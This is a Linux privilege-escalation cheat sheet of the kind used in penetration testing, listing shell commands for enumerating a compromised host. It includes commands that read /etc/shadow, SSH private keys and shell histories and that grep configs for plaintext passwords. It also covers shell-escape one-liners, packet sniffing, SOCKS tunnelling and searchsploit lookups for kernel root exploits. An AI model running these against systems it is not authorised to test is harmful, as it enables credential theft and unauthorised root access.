Basic Linux Privilege Escalation

(Linux) privilege escalation is all about:

• Collect - Enumeration, more enumeration and some more enumeration.
• Process - Sort through data, analyse and prioritisation.
• Search - Know what to search for and where to find the exploit code.
• Adapt - Customize the exploit, so it fits. Not every exploit work for every system "out of the box".
• Try - Get ready for (lots of) trial and error.

// Determine linux distribution and version


cat /etc/issue
cat /etc/*-release
cat /etc/lsb-release
cat /etc/redhat-release

// Determine kernel version - 32 or 64-bit?

cat /proc/version
uname -a
uname -mrs
rpm -q kernel
dmesg | grep Linux
ls /boot | grep vmlinuz-

// List environment variables
cat /etc/profile
cat /etc/bashrc
cat ~/.bash_profile
cat ~/.bashrc
cat ~/.bash_logout
env

// Determine if there is a printer

lpstat -a

// Determine which services are running

ps aux
ps -ef
top
cat /etc/service

// Determine which services are running as root

ps aux | grep root
ps -ef | grep root

// Determine installed applications

ls -alh /usr/bin/
ls -alh /sbin/
dpkg -l
rpm -qa
ls -alh /var/cache/apt/archivesO
ls -alh /var/cache/yum/

// Syslog Configuration

cat /etc/syslog.conf
cat /var/log/syslog.conf
(or just: locate syslog.conf)

// Web Server Configurations

cat /etc/chttp.conf
cat /etc/lighttpd.conf
cat /etc/apache2/apache2.conf
cat /etc/httpd/conf/httpd.conf
cat /opt/lampp/etc/httpd.conf

// PHP Configuration

/etc/php5/apache2/php.ini

// Printer (cupsd) Configuration

cat /etc/cups/cupsd.conf

// MySql

cat /etc/my.conf

// Inetd Configuration

cat /etc/inetd.conf

// List All

ls -aRl /etc/ | awk '$1 ~ /^.*r.*/'

// Determine scheduled jobs

crontab -l
ls -alh /var/spool/cron
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny
cat /etc/crontab
cat /etc/anacrontab
cat /var/spool/cron/crontabs/root

// Locate any plaintext usernames and passwords

grep -i user [filename]
grep -i pass [filename]
grep -C 5 "password" [filename]
find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password" # Joomla

// Identify connected NICs and other networks

/sbin/ifconfig -a
cat /etc/network/interfaces
cat /etc/sysconfig/network

// Identify connected users and hosts

lsof -i
lsof -i :80
grep 80 /etc/services
netstat -antup
netstat -antpx
netstat -tulpn
chkconfig --list
chkconfig --list | grep 3:on
last
w

// Identify cached IP or MAC addresses

arp -a
route
/sbin/route -nee

// Identify network configuration Settings (DHCP, DNS, Gateway)

cat /etc/resolv.conf
cat /etc/sysconfig/network
cat /etc/networks
iptables -L
hostname
dnsdomainname

// Is packet sniffing possible

# tcpdump tcp dst [ip] [port] and tcp dst [ip] [port]
tcpdump tcp dst 192.168.1.7 80 and tcp dst 10.2.2.222 21

// Check for ports open for local only connections

netstat -tupan

// Is tunnelling possible?

ssh -D 127.0.0.1:9050 -N [username]@[ip]
proxychains ifconfig

// Identify the current user and users in the system

id
who
w
last
cat /etc/passwd | cut -d : -f 1 # List users
grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}' # List of super users
awk -F: '($3 == "0") {print}' /etc/passwd # List of super users

// List Sudoers

cat /etc/sudoers

// Show which commands sudo allows you to run

sudo -l

// Attempt to display sensitive files

cat /etc/passwd
cat /etc/group
cat /etc/shadow
ls -alh /var/mail/

// Check for anything interesting in home directories

ls -ahlR /root/
ls -ahlR /home/

// Are there any hardcoded passwords in scripts, databases or configuration files

cat /var/apache2/config.inc
cat /var/lib/mysql/mysql/user.MYD
cat /root/anaconda-ks.cfg

// Check user history for credentials and activity

cat ~/.bash_history
cat ~/.nano_history
cat ~/.atftp_history
cat ~/.mysql_history
cat ~/.php_history

// Check user profile and mail

cat ~/.bashrc
cat ~/.profile
cat /var/mail/root
cat /var/spool/mail/root

// Check for accessible private keys

cat ~/.ssh/authorized_keys
cat ~/.ssh/identity.pub
cat ~/.ssh/identity
cat ~/.ssh/id_rsa.pub
cat ~/.ssh/id_rsa
cat ~/.ssh/id_dsa.pub
cat ~/.ssh/id_dsa
cat /etc/ssh/ssh_config
cat /etc/ssh/sshd_config
cat /etc/ssh/ssh_host_dsa_key.pub
cat /etc/ssh/ssh_host_dsa_key
cat /etc/ssh/ssh_host_rsa_key.pub
cat /etc/ssh/ssh_host_rsa_key
cat /etc/ssh/ssh_host_key.pub
cat /etc/ssh/ssh_host_key

// Find writeable configuration files in /etc

ls -aRl /etc/ | awk '$1 ~ /^.*w.*/' 2>/dev/null # Anyone
ls -aRl /etc/ | awk '$1 ~ /^..w/' 2>/dev/null # Owner
ls -aRl /etc/ | awk '$1 ~ /^.....w/' 2>/dev/null # Group
ls -aRl /etc/ | awk '$1 ~ /w.$/' 2>/dev/null # Other

find /etc/ -readable -type f 2>/dev/null # Anyone
find /etc/ -readable -type f -maxdepth 1 2>/dev/null # Anyone

// Examine /var structure (logs, configuration files

ls -alh /var/log
ls -alh /var/mail
ls -alh /var/spool
ls -alh /var/spool/lpd
ls -alh /var/lib/pgsql
ls -alh /var/lib/mysql
cat /var/lib/dhcp3/dhclient.leases

// Any hidden files / settings on a hosted website

ls -alhR /var/www/
ls -alhR /srv/www/htdocs/
ls -alhR /usr/local/www/apache22/data/
ls -alhR /opt/lampp/htdocs/
ls -alhR /var/www/html/

// Check Local Log Files

# http://www.thegeekstuff.com/2011/08/linux-var-log-files/

cat /etc/httpd/logs/access_log
cat /etc/httpd/logs/access.log
cat /etc/httpd/logs/error_log
cat /etc/httpd/logs/error.log
cat /var/log/apache2/access_log
cat /var/log/apache2/access.log
cat /var/log/apache2/error_log
cat /var/log/apache2/error.log
cat /var/log/apache/access_log
cat /var/log/apache/access.log
cat /var/log/auth.log
cat /var/log/chttp.log
cat /var/log/cups/error_log
cat /var/log/dpkg.log
cat /var/log/faillog
cat /var/log/httpd/access_log
cat /var/log/httpd/access.log
cat /var/log/httpd/error_log
cat /var/log/httpd/error.log
cat /var/log/lastlog
cat /var/log/lighttpd/access.log
cat /var/log/lighttpd/error.log
cat /var/log/lighttpd/lighttpd.access.log
cat /var/log/lighttpd/lighttpd.error.log
cat /var/log/messages
cat /var/log/secure
cat /var/log/syslog
cat /var/log/wtmp
cat /var/log/xferlog
cat /var/log/yum.log
cat /var/run/utmp
cat /var/webmin/miniserv.log
cat /var/www/logs/access_log
cat /var/www/logs/access.log
ls -alh /var/lib/dhcp3/
ls -alh /var/log/postgresql/
ls -alh /var/log/proftpd/
ls -alh /var/log/samba/
# auth.log, boot, btmp, daemon.log, debug, dmesg, kern.log, mail.info, mail.log, mail.warn, messages, syslog, udev, wtmp

// Is it possible to break out of "jail" shell

python -c 'import pty;pty.spawn("/bin/bash")'
echo os.system('/bin/bash')
/bin/sh -i
vi -> :sh or :!UNIX_command

// Check which filesystems are mounted

mount
df -h

// Check if there are unmounted filesystems

cat /etc/fstab

// Finding world writeable directories

find / -perm 777

// Find setuid files

find / -perm +4000 -type f

// Find root setuid files

find / -perm +4000 -uid 0 -type f

// Additional File System Checks? Sticky bits, SUID & GUID

find / -perm -1000 -type d 2>/dev/null # Sticky bit - Only the owner of the directory or the owner of a file can delete or rename here
find / -perm -g=s -type f 2>/dev/null # SGID (chmod 2000) - run as the group, not the user who started it.
find / -perm -u=s -type f 2>/dev/null # SUID (chmod 4000) - run as the owner, not the user who started it.

find / -perm -g=s -o -perm -u=s -type f 2>/dev/null # SGID or SUID
for i in `locate -r "bin$"`; do find $i ( -perm -4000 -o -perm -2000 ) -type f 2>/dev/null; done # Looks in 'common' places: /bin, /sbin, /usr/bin, /usr/sbin, /usr/local/bin, /usr/local/sbin and any other *bin, for SGID or SUID (Quicker search)

# find starting at root (/), SGID or SUID, not Symbolic links, only 3 folders deep, list with more detail and hide any errors (e.g. permission denied)
find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} ; 2>/dev/null

// Check common directories for write and execute permissions

find / -writable -type d 2>/dev/null # world-writeable folders
find / -perm -222 -type d 2>/dev/null # world-writeable folders
find / -perm -o+w -type d 2>/dev/null # world-writeable folders
find / -perm -o+x -type d 2>/dev/null # world-executable folders
find / ( -perm -o+w -perm -o+x ) -type d 2>/dev/null # world-writeable & executable folders

// Check for problem files (World Writeable / "Nobody" files)

find / -xdev -type d ( -perm -0002 -a ! -perm -1000 ) -print # world-writeable files
find /dir -xdev ( -nouser -o -nogroup ) -print # Noowner files

##### Attacking Vulnerable Kernel and SUID Applications #####

// Finding Exploit Code

/pentest/exploits/exploitdb/searchsploit "kernel" |grep -i "root"
cat /pentest/exploits/exploitdb/files.csv |grep -i privile
grep -i X.X /pentest/exploits/exploitdb/files.csv |grep -i local
grep -i application /pentest/exploits/exploitdb/files.csv |grep -i local

// Check Development Environment on Target Hosts

find / -name perl*
find / -name python*
find / -name gcc*
find / -name cc

// How can files be uploaded?

find / -name wget
find / -name nc*
find / -name netcat*
find / -name tftp*
find / -name ftp